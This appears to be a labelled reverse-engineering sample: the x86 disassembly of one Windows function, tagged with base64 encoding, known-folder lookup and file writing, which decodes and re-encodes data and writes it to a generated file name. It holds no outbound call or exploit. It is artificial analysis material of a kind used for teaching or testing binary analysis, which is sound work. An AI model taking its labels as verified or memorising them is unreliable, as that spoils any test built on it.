Function at 0x404530
Capabilities:
Encode data using base64
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push 1
call fcn.00407a61
add esp, 4
mov dword [ebp - 0x20], eax
xor edi, edi
mov dword [ebp - 8], edi
call fcn.004017e0
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x404849
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404561
sub ecx, edx
mov eax, ecx
shr eax, 2
push ebx
lea ebx, [eax + eax*2]
test ecx, ecx
je 0x404583
dec ecx
cmp byte [ecx + esi], 0x3d
jne 0x404583
dec ebx
test ecx, ecx
jne 0x404577
push ebx
call fcn.00407a9f
push ebx
mov edx, eax
mov dword [ebp - 0xc], eax
mov ecx, esi
call fcn.00403e60
add esp, 8
test al, al
je 0x4045c0
push ebx
call fcn.00407a9f
mov edx, dword [ebp - 0xc]
lea ecx, [ebx - 5]
mov edi, eax
mov dword [ebp - 8], eax
add esp, 4
add ebx, 0xfffffffb
lea esi, [edx + 5]
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x1c]
mov edi, eax
jmp 0x4045c5
mov edx, dword [ebp - 0xc]
xor ebx, ebx
push edx
call fcn.00407a5c
push esi
call fcn.00407a5c
add esp, 8
test edi, edi
je 0x404848
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push ebx
push edi
call fcn.00401d10
mov dword [ebp - 0x1c], eax
mov ecx, edi
test eax, eax
je 0x40483f
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404725
mov ecx, ebx
mov eax, 0xaaaaaaab
mov esi, ecx
mul esi
mov eax, esi
shr edx, 1
lea edx, [edx + edx*2]
sub eax, edx
je 0x40461f
lea ecx, [edx + 3]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea esi, [edx*4]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea ecx, [esi + 0x100]
push ecx
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], edi
mov byte [eax + esi], 0
test ecx, ecx
je 0x40472f
mov edx, dword [ebp - 0x1c]
lea esi, [eax + 2]
or eax, 0xffffffff
mov dword [ebp - 0x14], esi
sub eax, edx
dec ecx
mov dword [ebp - 0x10], eax
mov eax, 0xaaaaaaab
lea edi, [edx + 2]
mul ecx
mov eax, edx
mov edx, 2
shr eax, 1
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
nop dword [eax + eax]
mov eax, dword [ebp - 0x10]
movzx ecx, byte [edi - 2]
add eax, edi
shl ecx, 8
cmp eax, ebx
jae 0x4046a8
movzx eax, byte [edi - 1]
or eax, ecx
jmp 0x4046aa
mov eax, ecx
shl eax, 8
cmp edx, ebx
jae 0x4046b8
movzx ecx, byte [edi]
or ecx, eax
jmp 0x4046ba
mov ecx, eax
mov eax, ecx
shr eax, 0x12
mov al, byte [eax + 0x41fa80]
mov byte [esi - 2], al
mov eax, ecx
shr eax, 0xc
and eax, 0x3f
mov al, byte [eax + 0x41fa80]
mov byte [esi - 1], al
mov eax, dword [ebp - 0x10]
add eax, edi
cmp eax, ebx
jae 0x4046f2
mov eax, ecx
shr eax, 6
and eax, 0x3f
mov al, byte [eax + 0x41fa80]
jmp 0x4046f4
mov al, 0x3d
mov esi, dword [ebp - 0x14]
mov byte [esi], al
cmp edx, ebx
jae 0x404708
and ecx, 0x3f
mov al, byte [ecx + 0x41fa80]
jmp 0x40470a
mov al, 0x3d
mov byte [esi + 1], al
add edi, 3
add esi, 4
add edx, 3
sub dword [ebp - 0x18], 1
mov dword [ebp - 0x14], esi
jne 0x404690
jmp 0x40472f
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], edi
push 0xff
call fcn.00407a9f
add esp, 4
mov dword [ebp - 8], 0
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x41a200
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x40478d
push 0xff
push dword [ebp - 8]
push edi
call fcn.0040ce8d
add esp, 0xc
mov esi, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp esi, eax
jne 0x40478d
lea ecx, [esi + 1]
cmp ecx, 0xff
jae 0x40478d
mov word [eax + edi], 0x5c
push 0x400
call fcn.00407a9f
add esp, 4
mov ebx, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.00406b60
push 0xff
mov esi, eax
call fcn.00407a9f
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, esi
push 0xff
push eax
push 9
call fcn.00401260
push dword [ebp - 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404815
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call fcn.00407a5c
push ebx
call fcn.00407a5c
push edi
call fcn.00407a5c
push dword [ebp - 4]
call fcn.00407a5c
push dword [ebp - 0x1c]
call fcn.00407a5c
mov ecx, dword [ebp - 0xc]
add esp, 0x14
push ecx
call fcn.00407a5c
add esp, 4
pop ebx
push 1
push dword [ebp - 0x20]
call fcn.00407a91
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret